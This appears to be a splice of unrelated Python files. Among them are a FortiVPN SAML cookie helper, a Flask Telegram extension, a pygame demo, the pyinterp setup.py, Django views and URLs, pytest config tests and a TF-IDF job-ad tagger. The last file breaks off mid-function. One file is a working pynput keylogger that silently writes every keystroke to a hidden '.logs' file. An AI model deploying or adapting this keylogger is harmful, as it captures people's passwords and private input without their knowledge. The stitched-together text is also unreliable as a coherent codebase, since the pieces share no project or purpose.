#!/usr/bin/env python3

# OpenFortiSAML v0.3
# Lucy Hancock <lucy@leh.dev> 2023, absolutely no copyrights
# Opens a firefox session and extracts the SVPNCOOKIE to use to authenticate with FortiVPN
# Functionality is derived from ****FortiClient with superfluous functionality removed
# ****FortiClient: https://gist.github.com/nonamed01/0961d8a79955206ebdc00abcaa56aefe
# One day I might also replicate finding the Firefox profile. Today is not that day.

# Licensed under CC0: https://creativecommons.org/publicdomain/zero/1.0/legalcode
# All code is dedicated to the public domain, where possible, and all liabilites are waived

import argparse
import os
import subprocess
import json

from pathlib import Path

if __name__ == "__main__":
    print('OpenFortiSAML v0.3')
    parser = argparse.ArgumentParser(prog='OpenFortiSAML')
    parser.add_argument('-f', '--firefox-profile', type=str, dest='fp', required=True)
    parser.add_argument('-s', '--server', type=str, dest='server', required=True)
    parser.add_argument('-p', '--port', type=int, dest='port', required=False, default=443)
    parser.add_argument('-a', '--openfortivpn-args', dest='ovpnargs', type=str, required=False, nargs='*', default=[])
    arg = parser.parse_args()
    print(arg)
    user = os.getlogin()
    Path('/tmp/.openfortisaml-cookie').unlink(missing_ok=True)

    if not Path(arg.fp).is_dir():
        print("Firefox profile doesn't seem to exist")
        exit(1)

    check_running_ff = subprocess.run(['pgrep', '-u', user, 'firefox'], capture_output=True)
    if check_running_ff.returncode != 1:
        print('Firefox seems to be running, please close it')
        exit(1)

    print('Opening firefox to VPN login, please login and then exit firefox')
    url = f'https://{arg.server}:{arg.port}/remote/saml/start'

    firefox_first = subprocess.run(['firefox', url], capture_output=True)
    if firefox_first.returncode:
        print("Hmm, that didn't work")
        exit(1)

    print('Opening firefox again, please just exit')
    firefox_second = subprocess.run(['firefox', 'https://1.1.1.1/help'], capture_output=True)
    if firefox_second.returncode:
        print("Hmm, that didn't work")
        exit(1)

    print('Looking for cookies backup')
    prev_path = Path(f'{arg.fp}/sessionstore-backups/previous.jsonlz4')
    if not prev_path.is_file():
        print("Huh, that doesn't exist")
        exit(1)

    print(f'Found at {prev_path.absolute()}, reading')
    jsonlz4cat = subprocess.run(['lz4jsoncat', prev_path.absolute()], capture_output=True, text=True)
    if jsonlz4cat.returncode:
        print("Hmm, that didn't work")
        exit(1)
    prev_dict = json.loads(jsonlz4cat.stdout)
    cookie = None
    for i in prev_dict['cookies']:
        if i['host'] == arg.server:
            if i['name'] == 'SVPNCOOKIE':
                cookie = i['value']

    if cookie is None:
        print('SVPNCOOKIE not found')
        exit(1)

    Path('/tmp/.openfortisaml-cookie').touch()
    os.chmod('/tmp/.openfortisaml-cookie', 0o600)
    with open('/tmp/.openfortisaml-cookie', 'w') as f:
        f.write(f'SVPNCOOKIE={cookie}')

    ovpncmd = ['cat', '/tmp/.openfortisaml-cookie', '|', 'sudo',
               'openfortivpn', f'{arg.server}:{arg.port}', '--cookie-on-stdin']
    try:
        subprocess.run(['bash', '-c', ' '.join(ovpncmd)])
    except KeyboardInterrupt:
        Path('/tmp/.openfortisaml-cookie').unlink()
        print("That's all folks!")
        exit(0)


from flask import g

from .config import *
from .telegram_api import TelegramApi

class TelegramExtension:
    """
    Flask application extension that adds telegram api to global context

    Attributes
    ----------
    api : TelegramApi
        TelegramApi instance
    """
    def __init__(self, app=None):
        if app is not None:
            self.init_app(app)

    def init_app(self, app):
        """
        Initialize app with TelegramApi context

        Note
        ----
        'token' key should be already in flask.g

        Raises
        ------
        RuntimeError
            if bot token not present in context
        """

        self.api = TelegramApi()

        @app.before_request
        def with_telegram_api():
            """
            Push TelegramApi as g.api
            """
            g.api = self.api
            bot_token = g.get('token')
            if bot_token is None:
                raise RuntimeError('bot token not found in context')
            g.api.bot_token = bot_token


import pygame

WIDTH = 800
HEIGHT = 600

screen = pygame.display.set_mode((WIDTH, HEIGHT))

running = True

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        mx, my = pygame.mouse.get_pos()
        mb = pygame.mouse.get_pressed()
        if mb[0]:
            screen.fill((0, 0, 0))
            pygame.draw.line(screen, (255, 0, 0), (mx, 0), (mx, HEIGHT))
            pygame.draw.line(screen, (255, 0, 0), (0, my), (WIDTH, my))

    pygame.display.flip()

pygame.quit()


import datetime
import distutils.command.build
import pathlib
import platform
import re
import subprocess
import os
import shlex
import sys
import sysconfig
import setuptools
import setuptools.command.build_ext
import setuptools.command.install
import setuptools.command.test

# Check Python requirement
MAJOR = sys.version_info[0]
MINOR = sys.version_info[1]
if not (MAJOR >= 3 and MINOR >= 6):
    raise RuntimeError("Python %d.%d is not supported, "
                       "you need at least Python 3.6." % (MAJOR, MINOR))

# Working directory
WORKING_DIRECTORY = pathlib.Path(__file__).parent.absolute()

# OSX deployment target
OSX_DEPLOYMENT_TARGET = '10.14'

def build_dirname(extname=None):
    """Returns the name of the build directory"""
    extname = '' if extname is None else os.sep.join(extname.split(".")[:-1])
    return str(
        pathlib.Path(WORKING_DIRECTORY, "build",
                     "lib.%s-%d.%d" % (sysconfig.get_platform(), MAJOR, MINOR),
                     extname))

def execute(cmd):
    """Executes a command and returns the lines displayed on the standard
    output"""
    process = subprocess.Popen(cmd,
                               shell=True,
                               stdout=subprocess.PIPE,
                               stderr=subprocess.PIPE)
    return process.stdout.read().decode()

def update_meta(path, version):
    """Updating the version number description in conda/meta.yaml."""
    with open(path, "r") as stream:
        lines = stream.readlines()
    pattern = re.compile(r'{% set version = ".*" %}')

    for idx, line in enumerate(lines):
        match = pattern.search(line)
        if match is not None:
            lines[idx] = '{%% set version = "%s" %%}\n' % version

    with open(path, "w") as stream:
        stream.write("".join(lines))

def update_environment(path, version):
    """Updating the version number desciption in conda environment"""
    with open(path, 'r') as stream:
        lines = stream.readlines()
    pattern = re.compile(r'(\s+-\s+pyinterp)\s*>=\s*(.+)')

    for idx, line in enumerate(lines):
        match = pattern.search(line)
        if match is not None:
            lines[idx] = "%s>=%s\n" % (match.group(1), version)

    with open(path, "w") as stream:
        stream.write("".join(lines))

def revision():
    """Returns the software version"""
    os.chdir(WORKING_DIRECTORY)
    module = pathlib.Path(WORKING_DIRECTORY, 'src', 'pyinterp', 'version.py')
    stdout = execute("git describe --tags --dirty --long --always").strip()
    pattern = re.compile(r'([\w\d\.]+)-(\d+)-g([\w\d]+)(?:-(dirty))?')
    match = pattern.search(stdout)

    # If the information is unavailable (execution of this function outside the
    # development environment), file creation is not possible
    if not stdout:
        pattern = re.compile(r'return "(\d+\.\d+\.\d+)"')
        with open(module, "r") as stream:
            for line in stream:
                match = pattern.search(line)
                if match:
                    return match.group(1)
        raise AssertionError()

    # No tag already registred
    if match is None:
        pattern = re.compile(r'([\w\d]+)(?:-(dirty))?')
        match = pattern.search(stdout)
        version = "0.0"
        sha1 = match.group(1)
    else:
        version = match.group(1)
        sha1 = match.group(3)

    stdout = execute("git log  %s -1 --format=\"%%H %%at\"" % sha1)
    stdout = stdout.strip().split()
    date = datetime.datetime.utcfromtimestamp(int(stdout[1]))

    # Conda configuration files are not present in the distribution, but only
    # in the GIT repository of the source code.
    meta = pathlib.Path(WORKING_DIRECTORY, 'conda', 'meta.yaml')
    if meta.exists():
        update_meta(meta, version)
        update_environment(
            pathlib.Path(WORKING_DIRECTORY, 'conda', 'environment.yml'),
            version)
        update_environment(
            pathlib.Path(WORKING_DIRECTORY, 'binder', 'environment.yml'),
            version)

    # Updating the version number description for sphinx
    conf = pathlib.Path(WORKING_DIRECTORY, 'docs', 'source', 'conf.py')
    with open(conf, "r") as stream:
        lines = stream.readlines()
    pattern = re.compile(r'(\w+)\s+=\s+(.*)')

    for idx, line in enumerate(lines):
        match = pattern.search(line)
        if match is not None:
            if match.group(1) == 'version':
                lines[idx] = "version = %r\n" % version
            elif match.group(1) == 'release':
                lines[idx] = "release = %r\n" % version
            elif match.group(1) == 'copyright':
                lines[idx] = "copyright = '(%s, CNES/CLS)'\n" % date.year

    with open(conf, "w") as stream:
        stream.write("".join(lines))

    # Finally, write the file containing the version number.
    with open(module, 'w') as handler:
        handler.write('''# Copyright (c) 2020 CNES
#
# All rights reserved. Use of this source code is governed by a
# BSD-style license that can be found in the LICENSE file.
"""
Get software version information
================================
"""

def release() -> str:
    """Returns the software version number"""
    return "{version}"

def date() -> str:
    """Returns the creation date of this release"""
    return "{date}"
'''.format(version=version, date=date.strftime("%d %B %Y")))
    return version

# pylint: disable=too-few-public-methods
class CMakeExtension(setuptools.Extension):
    """Python extension to build"""
    def __init__(self, name):
        super(CMakeExtension, self).__init__(name, sources=[])

    # pylint: enable=too-few-public-methods

class BuildExt(setuptools.command.build_ext.build_ext):
    """Build the Python extension using cmake"""

    #: Preferred BOOST root
    BOOST_ROOT = None

    #: Build the unit tests of the C++ extension
    BUILD_INITTESTS = None

    #: Enable coverage reporting
    CODE_COVERAGE = None

    #: Preferred C++ compiler
    CXX_COMPILER = None

    #: Preferred Eigen root
    EIGEN3_INCLUDE_DIR = None

    #: Preferred GSL root
    GSL_ROOT = None

    #: Preferred MKL root
    MKL_ROOT = None

    #: Run CMake to configure this project
    RECONFIGURE = None

    def run(self):
        """A command's raison d'etre: carry out the action"""
        for ext in self.extensions:
            self.build_cmake(ext)
        super().run()

    @staticmethod
    def gsl():
        """Get the default boost path in Anaconda's environnement."""
        gsl_root = sys.prefix
        if pathlib.Path(gsl_root, "include", "gsl").exists():
            return "-DGSL_ROOT_DIR=" + gsl_root
        gsl_root = pathlib.Path(sys.prefix, "Library")
        if not gsl_root.joinpath("include", "gsl").exists():
            raise RuntimeError(
                "Unable to find the GSL library in the conda distribution "
                "used.")
        return "-DGSL_ROOT_DIR=" + str(gsl_root)

    @staticmethod
    def boost():
        """Get the default boost path in Anaconda's environnement."""
        # Do not search system for Boost & disable the search for boost-cmake
        boost_option = "-DBoost_NO_SYSTEM_PATHS=TRUE " \
            "-DBoost_NO_BOOST_CMAKE=TRUE"
        boost_root = sys.prefix
        if pathlib.Path(boost_root, "include", "boost").exists():
            return "{boost_option} -DBOOST_ROOT={boost_root}".format(
                boost_root=boost_root, boost_option=boost_option).split()
        boost_root = pathlib.Path(sys.prefix, "Library", "include")
        if not boost_root.exists():
            raise RuntimeError(
                "Unable to find the Boost library in the conda distribution "
                "used.")
        return "{boost_option} -DBoost_INCLUDE_DIR={boost_root}".format(
            boost_root=boost_root, boost_option=boost_option).split()

    @staticmethod
    def eigen():
        """Get the default Eigen3 path in Anaconda's environnement."""
        eigen_include_dir = pathlib.Path(sys.prefix, "include", "eigen3")
        if eigen_include_dir.exists():
            return "-DEIGEN3_INCLUDE_DIR=" + str(eigen_include_dir)
        eigen_include_dir = pathlib.Path(sys.prefix, "Library", "include",
                                         "eigen3")
        if not eigen_include_dir.exists():
            eigen_include_dir = eigen_include_dir.parent
        if not eigen_include_dir.exists():
            raise RuntimeError(
                "Unable to find the Eigen3 library in the conda distribution "
                "used.")
        return "-DEIGEN3_INCLUDE_DIR=" + str(eigen_include_dir)

    @staticmethod
    def mkl():
        """Get the default MKL path in Anaconda's environnement."""
        mkl_header = pathlib.Path(sys.prefix, "include", "mkl.h")
        if mkl_header.exists():
            os.environ["MKLROOT"] = sys.prefix
            return

        # Walkaround a problem of generation with Windows and CMake
        # (fixed in CMake 3.17)

        # mkl_header = pathlib.Path(sys.prefix, "Library", "include", "mkl.h")
        # if mkl_header.exists():
        #     os.environ["MKLROOT"] = str(pathlib.Path(sys.prefix, "Library"))
        #     return
        # raise RuntimeError(
        #     "Unable to find the MKL library in the conda distribution "
        #     "used.")

    @staticmethod
    def is_conda():
        """Detect if the Python interpreter is part of a conda distribution."""
        result = pathlib.Path(sys.prefix, 'conda-meta').exists()
        if not result:
            try:
                # pylint: disable=unused-import
                import conda
                # pylint: enable=unused-import
            except ImportError:
                result = False
            else:
                result = True
        return result

    def set_cmake_user_options(self):
        """Sets the options defined by the user."""
        is_conda = self.is_conda()
        result = []

        if self.CXX_COMPILER is not None:
            result.append("-DCMAKE_CXX_COMPILER=" + self.CXX_COMPILER)

        if self.BOOST_ROOT is not None:
            result.append("-DBOOSTROOT=" + self.BOOST_ROOT)
        elif is_conda:
            result += self.boost()

        if self.GSL_ROOT is not None:
            result.append("-DGSL_ROOT_DIR=" + self.GSL_ROOT)
        elif is_conda:
            result.append(self.gsl())

        if self.EIGEN3_INCLUDE_DIR is not None:
            result.append("-DEIGEN3_INCLUDE_DIR=" + self.EIGEN3_INCLUDE_DIR)
        elif is_conda:
            result.append(self.eigen())

        if self.MKL_ROOT is not None:
            os.environ["MKLROOT"] = self.MKL_ROOT
        elif is_conda:
            self.mkl()

        return result

    def build_cmake(self, ext):
        """Execute cmake to build the Python extension"""
        # These dirs will be created in build_py, so if you don't have
        # any python sources to bundle, the dirs will be missing
        build_temp = pathlib.Path(WORKING_DIRECTORY, self.build_temp)
        build_temp.mkdir(parents=True, exist_ok=True)
        extdir = build_dirname(ext.name)

        cfg = 'Debug' if self.debug or self.CODE_COVERAGE else 'Release'

        cmake_args = [
            "-DCMAKE_BUILD_TYPE=" + cfg, "-DCMAKE_LIBRARY_OUTPUT_DIRECTORY=" +
            str(extdir), "-DPYTHON_EXECUTABLE=" + sys.executable
        ] + self.set_cmake_user_options()

        build_args = ['--config', cfg]

        if platform.system() != 'Windows':
            build_args += ['--', '-j%d' % os.cpu_count()]
            if platform.system() == 'Darwin':
                cmake_args += [
                    '-DCMAKE_OSX_DEPLOYMENT_TARGET=' + OSX_DEPLOYMENT_TARGET
                ]
            if self.CODE_COVERAGE:
                cmake_args += ["-DCODE_COVERAGE=ON"]
        else:
            cmake_args += [
                '-G', 'Visual Studio 15 2017',
                '-DCMAKE_GENERATOR_PLATFORM=x64',
                '-DCMAKE_LIBRARY_OUTPUT_DIRECTORY_{}={}'.format(
                    cfg.upper(), extdir)
            ]
            build_args += ['--', '/m']
            if self.verbose:
                build_args += ['/verbosity:n']

        if self.verbose:
            build_args.insert(0, "--verbose")

        os.chdir(str(build_temp))

        # Has CMake ever been executed?
        if pathlib.Path(build_temp, "CMakeFiles",
                        "TargetDirectories.txt").exists():
            # The user must force the reconfiguration
            configure = self.RECONFIGURE is not None
        else:
            configure = True

        if configure:
            self.spawn(['cmake', str(WORKING_DIRECTORY)] + cmake_args)
        if not self.dry_run:
            cmake_cmd = ['cmake', '--build', '.']
            if self.BUILD_INITTESTS is None:
                cmake_cmd += ['--target', 'core']
            self.spawn(cmake_cmd + build_args)
        os.chdir(str(WORKING_DIRECTORY))

class Build(distutils.command.build.build):
    """Build everything needed to install"""
    user_options = distutils.command.build.build.user_options
    user_options += [
        ('boost-root=', None, 'Preferred Boost installation prefix'),
        ('build-unittests', None, "Build the unit tests of the C++ extension"),
        ('reconfigure', None, 'Forces CMake to reconfigure this project'),
        ('code-coverage', None, 'Enable coverage reporting'),
        ('cxx-compiler=', None, 'Preferred C++ compiler'),
        ('eigen-root=', None, 'Preferred Eigen3 include directory'),
        ('gsl-root=', None, 'Preferred GSL installation prefix'),
        ('mkl-root=', None, 'Preferred MKL installation prefix')
    ]

    def initialize_options(self):
        """Set default values for all the options that this command supports"""
        super().initialize_options()
        self.boost_root = None
        self.build_unittests = None
        self.code_coverage = None
        self.cxx_compiler = None
        self.eigen_root = None
        self.gsl_root = None
        self.mkl_root = None
        self.reconfigure = None

    def finalize_options(self):
        """Set final values for all the options that this command supports"""
        super().finalize_options()
        if self.code_coverage is not None and platform.system() == 'Windows':
            raise RuntimeError("Code coverage is not supported on Windows")

    def run(self):
        """A command's raison d'etre: carry out the action"""
        if self.boost_root is not None:
            BuildExt.BOOST_ROOT = self.boost_root
        if self.build_unittests is not None:
            BuildExt.BUILD_INITTESTS = self.build_unittests
        if self.cxx_compiler is not None:
            BuildExt.CXX_COMPILER = self.cxx_compiler
        if self.code_coverage is not None:
            if platform.system() == 'Windows':
                raise RuntimeError("Code coverage is not supported on Windows")
            BuildExt.CODE_COVERAGE = self.code_coverage
        if self.eigen_root is not None:
            BuildExt.EIGEN3_INCLUDE_DIR = self.eigen_root
        if self.gsl_root is not None:
            BuildExt.GSL_ROOT = self.gsl_root
        if self.mkl_root is not None:
            BuildExt.MKL_ROOT = self.mkl_root
        if self.reconfigure is not None:
            BuildExt.RECONFIGURE = True
        super().run()

class Test(setuptools.command.test.test):
    """Test runner"""
    user_options = [('ext-coverage', None,
                     "Generate C++ extension coverage reports"),
                    ("pytest-args=", None, "Arguments to pass to pytest")]

    def initialize_options(self):
        """Set default values for all the options that this command
        supports"""
        super().initialize_options()
        self.ext_coverage = None
        self.pytest_args = None

    def finalize_options(self):
        """Set final values for all the options that this command supports"""
        dirname = pathlib.Path(pathlib.Path(__file__).absolute().parent)
        rootdir = "--rootdir=" + str(dirname)
        if self.pytest_args is None:
            self.pytest_args = ''
        self.pytest_args = rootdir + " tests " + self.pytest_args

    @staticmethod
    def tempdir():
        """Gets the build directory of the extension"""
        return pathlib.Path(
            WORKING_DIRECTORY, "build",
            "temp.%s-%d.%d" % (sysconfig.get_platform(), MAJOR, MINOR))

    def run_tests(self):
        """Run tests"""
        import pytest
        sys.path.insert(0, build_dirname())

        errno = pytest.main(
            shlex.split(self.pytest_args,
                        posix=platform.system() != 'Windows'))
        if errno:
            sys.exit(errno)

        # Directory used during the generating the C++ extension.
        tempdir = self.tempdir()

        # We work in the extension generation directory (CMake directory)
        os.chdir(str(tempdir))

        # If the C++ unit tests have been generated, they are executed.
        if pathlib.Path(tempdir, "src", "pyinterp", "core", "tests",
                        "test_axis").exists():
            self.spawn(["ctest", "--output-on-failure"])

        # Generation of the code coverage of the C++ extension?
        if not self.ext_coverage:
            return

        # Directory for writing the HTML coverage report.
        htmllcov = str(pathlib.Path(tempdir.parent.parent, "htmllcov"))

        # File containing the coverage report.
        coverage_info = str(pathlib.Path(tempdir, "coverage.info"))

        # Collect coverage data from python/C++ unit tests
        self.spawn([
            "lcov", "--capture", "--directory",
            str(tempdir), "--output-file", coverage_info
        ])

        # The coverage of third-party libraries is removed.
        self.spawn([
            'lcov', '-r', coverage_info, "*/Xcode.app/*", "*/third_party/*",
            "*/boost/*", "*/eigen3/*", "*/tests/*", "*/usr/*", '--output-file',
            coverage_info
        ])

        # Finally, we generate the HTML coverage report.
        self.spawn(["genhtml", coverage_info, "--output-directory", htmllcov])

def long_description():
    """Reads the README file"""
    with open(pathlib.Path(WORKING_DIRECTORY, "README.md")) as stream:
        return stream.read()

def typehints():
    """Get the list of type information files"""
    pyi = []
    for root, _, files in os.walk(WORKING_DIRECTORY):
        pyi += [
            str(pathlib.Path(root, item).relative_to(WORKING_DIRECTORY))
            for item in files if item.endswith('.pyi')
        ]
    return [(str(pathlib.Path('pyinterp', 'core')), pyi)]

def main():
    """Main function"""
    setuptools.setup(
        author='CNES/CLS',
        author_email='fbriol@gmail.com',
        classifiers=[
            "Development Status :: 3 - Alpha",
            "Topic :: Scientific/Engineering :: Physics",
            "License :: OSI Approved :: BSD License",
            "Natural Language :: English", "Operating System :: POSIX",
            "Operating System :: MacOS",
            "Operating System :: Microsoft :: Windows",
            "Programming Language :: Python :: 3.6",
            "Programming Language :: Python :: 3.7",
            "Programming Language :: Python :: 3.8"
        ],
        cmdclass={
            'build': Build,
            'build_ext': BuildExt,
            'test': Test
        },
        data_files=typehints(),
        description='Interpolation of geo-referenced data for Python.',
        ext_modules=[CMakeExtension(name="pyinterp.core")],
        install_requires=["numpy", "xarray"],
        license="BSD License",
        long_description=long_description(),
        long_description_content_type='text/markdown',
        name='pyinterp',
        package_data={
            'pyinterp': ['py.typed'],
        },
        package_dir={'': 'src'},
        packages=setuptools.find_namespace_packages(where='src',
                                                    exclude=['*core*']),
        platforms=['POSIX', 'MacOS', 'Windows'],
        python_requires='>=3.6',
        tests_require=["netCDF4", "numpy", "pytest", "xarray>=0.13"],
        url='https://github.com/CNES/pangeo-pyinterp',
        version=revision(),
        zip_safe=False,
    )

if __name__ == "__main__":
    if platform.system() == 'Darwin':
        os.environ['MACOSX_DEPLOYMENT_TARGET'] = OSX_DEPLOYMENT_TARGET
    main()


from django.urls import path
from .views import RestaurantCreateView, MenuCreateView, RestaurantMenuListView, MenuByDayListView, EmployeeRegistrationView, vote, WinningMenuView

urlpatterns = [
    path('create-restaurant/', RestaurantCreateView.as_view(), name='create-restaurant'),
    path('create-menu/', MenuCreateView.as_view(), name='menu-create'),
    path('restaurant/<int:restaurant_id>/menu/', RestaurantMenuListView.as_view(), name='restaurant-menu-list'),
    path('menu-by-day/<str:day_of_week>/', MenuByDayListView.as_view(), name='menu-by-day'),
    path('register/', EmployeeRegistrationView.as_view(), name='register'),
    path('vote/', vote, name='vote'),
    path('today/', WinningMenuView.as_view(), name='winning_menu_today'),
]


# pylint: disable=unused-argument,redefined-outer-name
"""Test all the modules related to data management"""
import os
import pytest
import yaml
from modules.data import Config

TEST_SETTINGS = {
    "string": "string",
    "int": 1,
    "float": 2.3,
    "bool": True,
    "list": ["a", "b", "c", "d"],
    "meme": {
        "key": "value",
        "key2": 1
    },
    "debug": {
        "logs": ["value1", "value2"],
        "key2": 1
    }
}
TEST_SETTINGS_TYPES = {
    "string": "string",
    "int": "int",
    "float": "float",
    "bool": "bool",
    "list": "list",
    "meme": {
        "key": "string",
        "key2": "int"
    },
    "debug": {
        "logs": "list",
        "key2": "int"
    }
}

@pytest.fixture(scope="function")
def config() -> Config:
    """Called at the beginning of the testing session.
    Makes sure the config object is initialized

    Yields:
        Iterator[dict]: dictionary containing the results for the test queries
    """
    old_path = Config.SETTINGS_PATH
    Config.SETTINGS_PATH = ("tests", "settings.yaml")
    with open("tests/settings.yaml", 'w', encoding='utf-8') as settings:
        yaml.safe_dump(TEST_SETTINGS, settings)
    with open("tests/settings.yaml.types", 'w', encoding='utf-8') as settings:
        yaml.safe_dump(TEST_SETTINGS_TYPES, settings)
    Config.reset_settings()

    yield Config

    os.remove("tests/settings.yaml")
    os.remove("tests/settings.yaml.types")
    Config.SETTINGS_PATH = old_path
    Config.reset_settings()

class TestConfig:
    """Test the Config class"""

    def assert_config(self, config: Config, base_key: str = None, exclude_keys: tuple = ()):
        """Tests the ability of the config object to load settings from a file"""
        settings_to_test = TEST_SETTINGS if base_key is None or base_key not in TEST_SETTINGS else TEST_SETTINGS[base_key]
        for key, value in settings_to_test.items():
            if key not in exclude_keys:
                if base_key is None:
                    assert config.settings_get(key) == value
                else:
                    assert config.settings_get(base_key, key) == value

    def test_load_flat_settings(self, config: Config):
        """Tests the ability of the config object to load settings from a file"""
        for key, value in TEST_SETTINGS.items():
            assert config.settings_get(key) == value

    def test_load_nested_settings(self, config: Config):
        """Tests the ability of the config object to load settings from a file with nested properties"""
        for key, value in TEST_SETTINGS['meme'].items():
            assert config.settings_get("meme", key) == value

    def test_default_flat_settings(self, config: Config):
        """Tests the ability of the config object to return the default value
        if the key is not found
        """
        assert Config.settings_get("invalid_key") is None
        assert Config.settings_get("invalid_key", default="value") == "value"

    def test_default_nested_settings(self, config: Config):
        """Tests the ability of the config object to return the default value
        if the nested key is not found
        """
        assert Config.settings_get("invalid_key", "nested") is None
        assert Config.settings_get("invalid_key", "nested", default="value") == "value"

        assert Config.settings_get("string", "nested") is None
        assert Config.settings_get("string", "nested", default="value") == "value"

    def test_load_env_flat_settings_new_setting(self, config: Config):
        """Tests the ability of the config object to load a new setting from the env vars,
        not present in the settings file.
        Only string values can be loaded this way
        """
        os.environ["new_setting"] = "new value"
        config.reset_settings()
        assert config.settings_get("new_setting") == "new value"
        self.assert_config(config) # Other settings are unchanged
        del os.environ["new_setting"]

    def test_load_env_flat_settings_int(self, config: Config):
        """Tests the ability of the config object to load int settings from the env vars"""
        os.environ["int"] = "2"
        config.reset_settings()
        assert config.settings_get("int") == 2
        self.assert_config(config, exclude_keys=("int",)) # Other settings are unchanged
        del os.environ["int"]

    def test_load_env_flat_settings_float(self, config: Config):
        """Tests the ability of the config object to load float settings from the env vars"""
        os.environ["float"] = "3.4"
        config.reset_settings()
        assert config.settings_get("float") == 3.4
        self.assert_config(config, exclude_keys=("float",)) # Other settings are unchanged
        del os.environ["float"]

    def test_load_env_flat_settings_bool(self, config: Config):
        """Tests the ability of the config object to load bool settings from the env vars"""
        os.environ["bool"] = "False"
        config.reset_settings()
        assert config.settings_get("bool") is False
        self.assert_config(config, exclude_keys=("bool",)) # Other settings are unchanged
        del os.environ["bool"]

    def test_load_env_flat_settings_list(self, config: Config):
        """Tests the ability of the config object to load list settings from the env vars"""
        os.environ["list"] = "e,f,g"
        config.reset_settings()
        assert config.settings_get("list") == ["e", "f", "g"]
        self.assert_config(config, exclude_keys=("list",)) # Other settings are unchanged
        del os.environ["list"]

    def test_load_env_flat_settings_str(self, config: Config):
        """Tests the ability of the config object to load str settings from the env vars"""
        os.environ["string"] = "another string"
        config.reset_settings()
        assert config.settings_get("string") == "another string"
        self.assert_config(config, exclude_keys=("string",)) # Other settings are unchanged
        del os.environ["string"]

    def test_load_env_nested_meme_settings(self, config: Config):
        """Tests the ability of the config object to load settings from the env vars
        with the nested meme key
        """
        os.environ["meme_key2"] = "2"
        config.reset_settings()
        assert config.settings_get("meme", "key2") == 2
        self.assert_config(config, exclude_keys=("meme",))  # Other settings are unchanged
        self.assert_config(config, base_key="meme", exclude_keys=("key2"))  # Other settings in meme are unchanged
        del os.environ["meme_key2"]

    def test_load_env_nested_debug_settings(self, config: Config):
        """Tests the ability of the config object to load settings from the env vars
        with the nested debug key
        """
        os.environ["debug_logs"] = "val1,val2,val3"
        config.reset_settings()
        assert config.settings_get("debug", "logs") == ["val1", "val2", "val3"]
        self.assert_config(config, exclude_keys=("debug",))  # Other settings are unchanged
        self.assert_config(config, base_key="debug", exclude_keys=("logs",))  # Other settings in meme are unchanged
        del os.environ["debug_logs"]

    def test_load_env_nested_test_settings(self, config: Config):
        """Tests the ability of the config object to load settings from the env vars
        with the nested test key
        """
        os.environ["test_key"] = "test"
        config.reset_settings()
        assert config.settings_get("test", "key") == "test"
        self.assert_config(config, exclude_keys=("test",))  # Other settings are unchanged
        del os.environ["test_key"]


import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity

    ### At the moment this works with preprocessed data
df = pd.read_csv('C:/Users/timbarn/Documents/TIG326/kod till projektet/local_copy/2022_10k_stemmed_headlines_swe.csv')
roles_df = pd.read_csv('C:/Users/timbarn/Documents/TIG326/kod till projektet/local_copy/work_roles_3pp+.csv')
pd.set_option('display.max_colwidth', 2)
# print(df['headline'])
# print(roles_df['roles'])

# Merge texts
merged_texts = df['headline'].tolist() + roles_df['roles'].tolist()

# Vectorize the data
vectorizer = TfidfVectorizer(max_df=0.05) # filters out words that are present in more than 10% (0.10) of ads
vectorized_data = vectorizer.fit_transform(merged_texts)

# Split the vectors
headline_vectors = vectorized_data[:len(df)]
role_vectors = vectorized_data[len(df):]

# Calculate cosine similarity
similarity_matrix = cosine_similarity(headline_vectors, role_vectors)

threshold = 0.4 # How close it gotta be to get counted

# Assign the most similar job role based on the threshold
tagged_roles = []
for i in range(len(df)):
    max_similarity = similarity_matrix[i].max()
    if max_similarity >= threshold:
        max_similarity_index = similarity_matrix[i].argmax()
        tagged_role = roles_df['roles'].iloc[max_similarity_index]
    else:
        tagged_role = 'Unknown'  # The ones that can't get tagged get called 'Unknown"
    tagged_roles.append(tagged_role)

df['tagged_role'] = tagged_roles

# # Print the tagged job roles
# print(df[['headline', 'tagged_role']])
print("💻"*50)
# # Show top tags
def print_job_role_counts(df):
    role_counts = df['tagged_role'].value_counts()
    role_counts_df = pd.DataFrame({'Job Role': role_counts.index, 'Count': role_counts.values})
    print(role_counts_df)
print_job_role_counts(df)
print("📡"*50)

# # # # Show only sucessfully tagged roles
tagged_rows = df[df['tagged_role'] != 'Unknown']
print(tagged_rows.shape[0], "rows 🥰✌")
unknown_rows = df[df['tagged_role'] == 'Unknown']

# Show 100 random
pd.set_option('display.max_rows', None)
random_sample = unknown_rows.sample(n=200, random_state=46)  # sample 100 random
print(random_sample[['headline','tagged_role']])

# row = 2000
# print(df.iloc[row]['headline'], df.iloc[row]['tagged_role'], df.iloc[row]['description'])


#!/usr/bin/env python3

from pynput import keyboard

class KeyLogger():
	def __init__(self, filename: str = ".logs") -> None:
		self.filename = filename

	@staticmethod
	def get_char(key):
		try:
			return key.char
		except AttributeError:
			return str(key)

	def on_press(self, key):
		with open(self.filename, 'ab') as logs:
			logs.write(key.vk.to_bytes(2, byteorder="big") if isinstance(key, keyboard.KeyCode)
				else keyboard.Key(key).value.vk.to_bytes(2, byteorder="big"))

	def main(self):
		with keyboard.Listener(on_press=self.on_press) as listener:
			listener.join()

if __name__ == '__main__':
	logger = KeyLogger()
	logger.main()


from django.shortcuts import render, redirect, get_object_or_404
from .models import Board
from .forms import BoardForm
# Create your views here.
def index(request):
    boards = Board.objects.order_by('-pk')
    context = {'boards':boards}
    return render(request, 'boards/index.html', context)

# def create(request):
#     if request.method == 'POST':
#         title = request.POST.get('title')
#         content = request.POST.get('content')
#         board = Board(title=title, content=content)
#         board.save()
#         return redirect('boards:index')

#     else:
#         return render(request, 'boards/create.html')

# def create(request):
#     # POST 요청이면 FORM 데이터를 처리한다
#     if request.method == 'POST':
#         # 저 FORM 구조가 전체를 받아옴
#         # 정제된 데이터 받아옴
#         # form이 title, content 를 다 한번에 받아옴, 데이터를 들고옴
#         # 이 처리과정은 'binding'으로 불리는데, form의 유효성 체크를 할수있도록 해줌(class에 작성한 것들)
#         form = BoardForm(request.POST)
#         # form 유효성 체크, 안전한 데이터인지
#         if form.is_valid():
#             title = form.cleaned_data.get('title')
#             content = form.cleaned_data.get('content')
#             # 검증을 통과한 깨끗한 데이터를 form에서 가져와서 board를 만든다
#             board = Board.objects.create(title=title, content=content)
#       # 별도로 세이브하지 않음
#             return redirect('boards:detail', board.pk)
